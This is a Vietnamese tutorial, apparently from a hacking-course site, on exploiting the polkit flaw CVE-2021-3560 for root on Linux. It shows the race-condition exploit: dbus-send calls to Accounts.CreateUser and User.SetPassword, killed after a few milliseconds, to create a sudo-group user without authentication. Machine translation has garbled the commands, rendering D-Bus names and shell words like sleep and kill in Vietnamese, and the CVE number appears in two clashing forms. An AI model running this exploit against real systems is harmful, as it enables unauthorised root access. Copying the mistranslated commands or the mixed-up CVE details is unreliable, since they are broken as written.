Leo Thang Đặc Quyền Trên Hệ Thống Linux Qua Lỗi Bảo Mật Polkit (CVE 2021-3560)

Giới thiệu

Theo Red Hat, “Polkit là viết tắt của PolicyKit, một khung cung cấp API ủy quyền được sử dụng bởi các chương trình đặc quyền”. Pkexec là một công cụ trong PolicyKit hoặc polkit cho phép người dùng chạy lệnh với tư cách một người dùng khác. Lỗ hổng này lừa polkit bỏ qua việc kiểm tra thông tin xác thực đối với các yêu cầu D-Bus, nâng cao đặc quyền của người yêu cầu lên người dùng root. Lỗi bảo mật được phát hiện bởi Kevin Backhouse và có thể đọc ở đây .

polkit, pkexec và dbus

Polkit và pkexec: PolicyKit còn được gọi là polkit trong hệ thống Linux. Đây là API ủy quyền được các chương trình sử dụng để nâng cao quyền của nó lên quyền của người dùng cấp cao và chạy các quy trình với tư cách là người dùng cấp cao (nói chung là root). Nếu người dùng không được chỉ định, nó sẽ cố chạy lệnh đó với tư cách là người dùng root. Sudo thực hiện điều tương tự ở chỗ nó cho phép người dùng chạy các lệnh với quyền root, tuy nhiên, với pkexec, quản trị viên có thể kiểm soát tốt việc thực thi các chương trình cụ thể bằng cách xác định chính sách cho nó. Sudo không có hạn chế và người dùng có thể chạy bất kỳ lệnh nào với tư cách là người dùng cấp cao nếu anh ta biết mật khẩu. Pkexec cũng mất một chút công sức trong việc thiết lập nhưng các biến thể Debian, bao gồm cả Ubuntu phổ biến, đều được cài đặt sẵn polkit và pkexec. Các quy tắc ủy quyền này cho các gói của bên thứ ba được xác định trong các tệp JavaScript *.rules được lưu giữ trong thư mục /usr/share/polkit-1/rules.d/

Mặc dù các quy tắc ủy quyền cho tùy chỉnh cục bộ được lưu trữ trong /etc/polkit-1/
Bạn sẽ quan sát các tệp *.conf tại đây. Các tệp conf và pkla từng tồn tại trước *.rules và tồn tại vì lý do tương thích ngược.

dbus: dbus là một hệ thống tin nhắn để các ứng dụng nói chuyện với nhau (được gọi là IPC hoặc giao tiếp giữa các quá trình). Điều này được phát triển như một phần của dự án freedesktop.org. Lệnh dbus cơ bản để liệt kê các dịch vụ hệ thống trông như thế này:

dbus-send --system --dest=org. freedesktop . DBus --type=method_call --print-reply \
/org/freedesktop/DBus org. freedesktop . DBus . Danh sách Tên

Trong bản demo này, chúng ta sẽ sử dụng dbus để kích hoạt pkexec từ dòng lệnh. Bạn có thể đọc thêm về dbus tại đây .

CVE 2021-3506

Polkit là một quy trình nền cho phép ủy quyền nhưng nó có lời nhắc đồ họa mà người dùng Ubuntu phải quen thuộc trông như hình sau:

Tuy nhiên, polkit cũng được thực thi ở chế độ văn bản khi sử dụng phiên chế độ văn bản chẳng hạn như khi sử dụng ssh.

ssh pentest@192.168 .1 .141
pkexec sh

Như bạn có thể thấy, pkexec hiện đã được thực thi trong CLI.

Bây giờ quay lại dbus ở đây. Nó là một tác nhân IPC có thể giúp chúng tôi gửi lệnh hoặc tin nhắn đến các quy trình khác và liên lạc với chúng. Để thực hiện các thao tác, dbus có nhiều tệp dịch vụ khác nhau được định cấu hình tham chiếu các đường dẫn tuyệt đối của các tệp thực thi hoặc trình nền sẽ được kích hoạt. Đối với các quy trình hệ thống, dbus lưu trữ các tệp dịch vụ trong /usr/share/dbus-1/system-services. Tại đây, bạn có thể xem nội dung của tên máy chủ. dịch vụ thực hiện các hoạt động sửa đổi tên máy chủ trong Ubuntu và Tài khoản. service kích hoạt tài khoản-daemon để thực hiện các tùy chọn bổ sung/sửa đổi của người dùng.

Vì vậy, dbus có thể được sử dụng để thực thi lệnh và yêu cầu ủy quyền của polkit cho lệnh đó. Mỗi giao diện và phương thức có tệp cấu hình XML riêng, tệp này sẽ tiết lộ những tham số mà dbus gửi đến nó trong khi thực thi. Chúng ta sẽ không đi sâu vào vấn đề đó ngay bây giờ.

Kevin Backhouse đã đăng bài viết này trong đó anh ấy đã phát hiện ra một lỗ hổng trong polkit có thể được kích hoạt bằng cách chạy lệnh dbus-send nhưng đã giết nó trong khi polkit vẫn đang thực thi nó và quá trình thực thi chưa hoàn tất. Trong phần trình diễn này, chúng tôi sẽ tạo một người dùng mới trong hệ thống mà không cần mật khẩu root. Để làm được điều đó, trước tiên chúng tôi sẽ khởi chạy một phiên chỉ có văn bản bằng ssh và sau đó là lệnh dbus-send :

dbus-send --system --dest=org. freedesktop . Tài khoản --type=method_call --print-reply /org/freedesktop/Accounts org. freedesktop . Tài khoản . Chuỗi CreateUser :cháy chuỗi: "đốt cháy người dùng" int32: 1

–system: gửi tin nhắn tới bus hệ thống

–dest: tên của kết nối (giao diện) nhận tin nhắn

–type: Method_call nghĩa là một hàm hệ thống với các đối số được truyền vào

–print-reply: in kết quả đầu ra ở định dạng mà con người có thể đọc được

/org/freedesktop/Accounts: Đây là chức năng sẽ được sử dụng

org.freedesktop.Accounts.CreateUser: Phương thức sẽ được sử dụng. Ở đây, phương thức tạo người dùng được sử dụng, về cơ bản sẽ tạo một người dùng mới với tên được chỉ định trong chuỗi 1. Chuỗi 2 là tên (“kích hoạt người dùng”) sẽ hiển thị trong hệ thống. int32 là một đối số nguyên mà phương thức lấy để chỉ định loại tài khoản được mã hóa dưới dạng số nguyên.

Bạn có thể tìm thấy tệp xml cấu hình cho phương pháp này tại đây .

Nhưng điều này sẽ thất bại vì chúng tôi cần phải xác thực để tạo người dùng mới.

Khai thác CVE 2021-3506

Để việc khai thác hoạt động, chúng ta cần hủy lệnh trong khi nó đang được thực thi. Để làm được điều này, chúng ta cần kiểm tra thời gian cần thiết để thực hiện lệnh này.


Như bạn có thể thấy, mất 0,008 giây để thực hiện lệnh này. Vì vậy,  cần hủy tải trọng của mình trước 0,008 giây để nó hoạt động.

Kevin đề cập rằng người dùng có thể nhấn CTRL+C một cách nhanh chóng và nó sẽ hoạt động nhưng tốt hơn nên để nó ở một tập lệnh bash nội tuyến đơn giản để kết thúc quá trình trong 0,0035 giây. Lưu ý rằng chúng tôi đã thử rất nhiều lần và thời gian cần thiết để chạy mỗi lần đều khác nhau. Vì vậy, bạn cũng cần phải thử nghiệm nó và xem thời điểm nào phù hợp với mình và sẽ để quá trình khai thác diễn ra bình thường. Đây

dbus-send --system --dest=org. freedesktop . Tài khoản --type=method_call --print-reply /org/freedesktop/Accounts org. freedesktop . Tài khoản . Chuỗi CreateUser :cháy chuỗi: "đốt người dùng" int32: 1 & ngủ 0,0035 s ; giết $!

Chúng tôi đã chạy lệnh tương tự khoảng 5-7 lần trước khi người dùng của chúng tôi được tạo! Hơn nữa, Ignition là thành viên của nhóm sudo!

Nó hoạt động như thế nào? Dbus chỉ định một ID duy nhất cho bất kỳ kết nối nào. Polkit xác minh ID duy nhất đó và cung cấp ủy quyền. Giả sử UID là 1,87. Vì kết nối bị ngắt ở giữa nên polkit nhận ra UID là 0 và coi yêu cầu đến từ thư mục gốc. Do đó, đây là cách khai thác hoạt động.

Chúng ta có thể kiểm tra tính hợp lệ của /etc/passwd. Ngoài ra, như bạn có thể thấy uid ở đây là 1001.

Tiếp theo, chúng ta cần cung cấp mật khẩu bằng dbus để có thể sử dụng người dùng mới tạo này. Chúng ta cần tạo mật khẩu băm vì dbus-send lấy mật khẩu băm làm đầu vào.

Điều này sẽ tạo ra hàm băm ở định dạng SHA-256. Chúng tôi cũng có thể sử dụng bất kỳ mã hóa nào khác theo cấu hình hệ thống.

Bây giờ chúng ta cần chuyển hàm băm này trong hàm User.SetPassword bằng cách sử dụng dbus dưới một tham số chuỗi. Tải trọng trông giống như hình bên dưới ,  
Ở đây, User.SetPassword đã được sử dụng. Hai tham số được truyền. Chuỗi đầu tiên là thông tin xác thực được băm và chuỗi thứ hai: “BestHackingTutorials” là gợi ý mật khẩu. Điều này cũng có thể được thay đổi.

Chúng ta cần gửi lệnh này 6-7 lần để lệnh này chạy. Chúng tôi có thể đăng nhập vào người dùng này ngay bây giờ.


Bạn có thể nâng cao đặc quyền của mình bằng sudo bash vì người dùng đánh lửa là thành viên của nhóm sudo.

Kết luận

Polkit là gói được cài đặt sẵn trong các bản phân phối Linux. Bất kỳ hệ thống nào chạy phiên bản polkit Nó có xếp hạng tác động cao và việc khai thác khá dễ dàng vì không cần có kiến ​​thức phát triển khai thác. Hy vọng bạn thích bài viết này. 

Để xem phần hướng dẫn thực hành hãy tham khảo khóa học Hacking Với Kali Linux

Bài viết cùng danh mục